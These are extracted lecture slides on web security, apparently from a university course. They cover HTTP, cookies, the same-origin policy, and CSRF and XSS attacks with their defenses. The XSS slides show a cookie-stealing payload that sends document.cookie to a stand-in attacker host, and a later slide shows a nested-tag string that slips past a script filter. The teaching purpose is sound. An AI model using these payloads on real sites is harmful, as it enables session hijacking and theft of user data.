1. Web Security Borrowed from John Mitchell, Stanford

2. Web application vulnerabilities

3. Goals of web security Safely browse the web Users should be able to visit a variety of web sites, without incurring harm:  No stolen information (without user’s permission)  Site A cannot compromise session at Site B Support secure web applications Applications delivered over the web should have the same security properties we require for stand- alone applications

4. Network Attacker Intercepts and controls network communication Alice System Network adversary

5. Web Attacker Sets up malicious site visited by victim; no control of network Alice System Web adversary

6. Web Threat Models Web attacker Control attacker.com Can obtain SSL/TLS certificate for attacker.com User visits attacker.com  Or: runs attacker’s Facebook app, etc. Malware attacker Attacker escapes browser isolation mechanisms and run separately under control of OS [not in today’s class]

7. HTTP

8. URLs Global identifiers of network-retrievable documents Example: http://stanford.edu:81/class?name=cs155#homework Special characters are encoded as hex: %0A = newline %20 or + = space, %2B = + (special exception) Protocol Hostname Port Path Query Fragment

9. GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host: www.example.com Referer: http://www.google.com?q=dingbats HTTP Request MethodFileHTTP versionHeaders Data – none for GET Blank line GET : no side effect POST : possible side effect

10. HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Set-Cookie: … Content-Length: 2543 Some data... blah, blah, blah HTTP Response HTTP versionStatus codeReason phrase Headers Data Cookies

11. RENDERING CONTENT

12. Rendering and events Basic browser execution model Each browser window or frame  Loads content  Renders it Processes HTML and scripts to display page May involve images, subframes, etc.  Responds to events Events can be User actions: OnClick, OnMouseover Rendering: OnLoad, OnBeforeUnload Timing: setTimeout(), clearTimeout()

13. Example <div style="-webkit-transform: rotateY(30deg) rotateX(-30deg); width: 200px;"> I am a strange root. Source: http://www.html5rocks.com/en/tutorials/speed/layers/http://www.html5rocks.com/en/tutorials/speed/layers/

14. HTML Image Tags 14 Displays this nice picture  Security issues? … … Basic web functionality

15. Image tag security issues 15 Communicate with other sites Hide resulting image Spoof other sites Add logos that fool a user Important Point: A web page can send information to any site Security consequences

16. Document Object Model (DOM) Object-oriented interface used by scripts to dynamically access and modify web pages web page in HTML is structured data DOM provides representation of this hierarchy Examples Properties: document.alinkColor, document.URL, document.forms[ ], document.links[ ], … Methods: document.write(document.referrer) Includes Browser Object Model (BOM) window, document, frames[], history, location, navigator (type and version of browser)

17. Changing HTML using JavaScript Some possibilities createElement(elementName) createTextNode(text) appendChild(newChild) removeChild(node) Example: Add a new list item (Javascript code): var list = document.getElementById('t1') var newitem = document.createElement('li') var newtext = document.createTextNode(text) list.appendChild(newitem) newitem.appendChild(newtext) Item 1 HTML

18. Frame and iFrame Window may contain frames from different sources Frame: rigid division as part of frameset iFrame: floating inline frame iFrame example Why use frames? Delegate screen area to content from another source Browser provides isolation based on frames Parent may work even if frame is broken If you can see this, your browser doesn't understand IFRAME.

19. ISOLATION

20. Same Origin Policy (SOP) Each frame of a page has an origin Origin = protocol://host:port Frame can access its own origin Network access, Read/write DOM, Storage (cookies) Frame cannot access data associated with a different origin A A B B A

21. JavaScript “The world’s most misunderstood programming language” Related to Java in name only Name was part of a marketing deal “Java is to JavaScript as car is to carpet” Language executed by the browser Scripts are embedded in Web pages Can run before HTML is loaded, before page is viewed, while it is being viewed, or when leaving the page Potentially malicious website gets to execute some code on user’s machine

22. But: scripts excluded from SOP !! Script has privileges of imported page, NOT source server. Can script other pages in this origin, load more scripts Other forms of importing VeriSign

23. Inter-frame communication policy? 23 Child Sibling Descendant Frame Bust

24. BrowserPolicy IE 6 (default)Permissive IE 6 (option)Child IE7 (no Flash)Descendant IE7 (with Flash)Permissive Firefox 2Window Safari 3Permissive Opera 9Window HTML 5Child Legacy Browser Behavior

25. COOKIES: CLIENT STATE 25

26. Cookies Used to store state on user’s machine Browser Server POST … HTTP Header: Set-cookie:NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (only over SSL) Browser Server POST … Cookie: NAME = VALUE HTTP is stateless protocol; cookies add state If expires=NULL: this session only

27. Cookie authentication Browser Web ServerAuth server POST login.cgi Username & pwd Validate user auth=val Store val Set-cookie: auth=val GET restricted.html Cookie: auth=val restricted.html auth=val YES/NOIf YES, restricted.html Check val

28. Cookie Security Policy Uses: User authentication Personalization User tracking: e.g. Doubleclick (3 rd party cookies) Browser will store: At most 20 cookies/site, 3 KB / cookie Origin is the tuple Can set cookies valid across a domain suffix

29. WEB SITE VULNERABILITIES 29

30. Three top web site vulnerabilites SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query CSRF – Cross-site request forgery Bad web site sends browser request to good web site, using credentials of an innocent victim XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site

31. Three top web site vulnerabilites SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query CSRF – Cross-site request forgery Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site Inject malicious script into trusted context Leverage user’s session at victim sever In TIRGUL

32. Cross Site Request Forgery

33. Recall: session using cookies ServerBrowser POST/login.cgi Set-cookie: authenticator GET… Cookie: authenticator response

34. Basic picture 34 Attack Server Server Victim User Victim establish session send forged request visit server (or iframe) receive malicious page 1 2 3 4 Q: how long do you stay logged on to Gmail? (w/ cookie)

35. Example: User logs in to bank.com  Session cookie remains in browser state User visits another site containing: … document.F.submit(); Browser sends user auth cookie with request  Transaction will be fulfilled Problem: cookie auth is insufficient when side effects occur Cross Site Request Forgery (CSRF)

36. Form post with cookie User credentials Cookie: SessionID=523FA4cd2E

37. CSRF Defenses Secret Validation Token Referer Validation Custom HTTP Header Referer: http://www.facebook.com/home.php X-Requested-By: XMLHttpRequest

38. Secret Token Validation Server sends dynamic form HTML Form includes a hidden hard-to-guess secret Unguessability substitutes for unforgeability When browser POSTs the filled form: Hidden token is sent back with other fields (and session cookie is sent too) Server verifies that token is valid and matches session

39. Secret Token Validation

40. Referer Validation Referring page Cookie: SessionID=523FA4cd2E

41. Referer Validation

42. Referer Validation Defense HTTP Referer header Referer: http://www.facebook.com/ Referer: http://www.attacker.com/evil.html Referer: Lenient Referer validation Doesn't work if Referer is missing Strict Referer validaton Secure, but Referer is sometimes absent…  ?

43. Referer Privacy Problems Referer may leak privacy-sensitive information http://intranet.corp.apple.com/ projects/iphone/competitors.html Common sources of Referer stripping: Network stripping by the organization Network stripping by local machine Stripped by browser for HTTPS -> HTTP transitions User preference in browser Buggy user agents Site cannot afford to block these users

44. CSRF Recommendations Users: when accessing a sensitive site (like a bank) – use a different browser, not just a new tab/window Don’t open other tabs while logged in Always logout (don’t just X the tab) – invalidates the session cookie Site developers: Use Anti CSRF techniques Especially important on sensitive sites

45. Cross Site Scripting (XSS)

46. Basic scenario: reflected XSS attack Attack Server Victim Server Victim client visit web site receive malicious link click on link echo user input 1 2 3 send valuable data 5 4

47. XSS example: vulnerable site search field on victim.com: http://victim.com/search.php ? term = apple Server-side implementation of search.php: Search Results Results for :... echo search term into response

48. Bad input Consider link: (properly URL encoded) http://victim.com/search.php ? term = window.open( “http://badguy.com?cookie = ” + document.cookie ) What if user clicks on this link? 1.Browser goes to victim.com/search.php 2.Victim.com returns Results for … 3.Browser executes script:  Sends badguy.com cookie for victim.com

49. Results for window.open(http://attacker.com?... document.cookie...) Attack Server Victim Server Victim client user gets bad link user clicks on link victim echoes user input http://victim.com/search.php ? term =... www.victim.com www.attacker.com

50. Basic scenario: reflected XSS attack Attack Server Server Victim User Victim Collect email addr send malicious email click on link echo user input 1 2 3 send valuable data 5 4 Email version

51. Stored XSS Attack Server Server Victim User Victim Inject malicious script request content receive malicious script 1 2 3 steal valuable data 4 Store bad stuff Download it

52. Stored XSS using images Suppose pic.jpg on web server contains HTML !  request for http://site.com/pic.jpg results in: HTTP/1.1 200 OK … Content-Type: image/jpeg fooled ya  IE will render this as HTML (despite Content-Type) Consider photo sharing sites that support image uploads What if attacker uploads an “image” that is a script?

53. Defenses at server Attack Server Server Victim User Victim visit web site receive malicious page click on link echo user input 1 2 3 send valuable data 5 4

54. How to Protect Yourself (OWASP) Validate all headers, cookies, query strings, form fields, hidden fields against a rigorous specification of what should be allowed. Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types and too many ways of encoding. Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

55. Input data validation and filtering Never trust client-side data Best: allow only what you expect Remove/encode special characters Many encodings, special chars! E.g., long (non-standard) UTF-8 encodings

56. Problems with filters Suppose a filter removes <script Good case  <script src=“...”  src=“...” But then  <scr<scriptipt src=“...”  <script src=“...”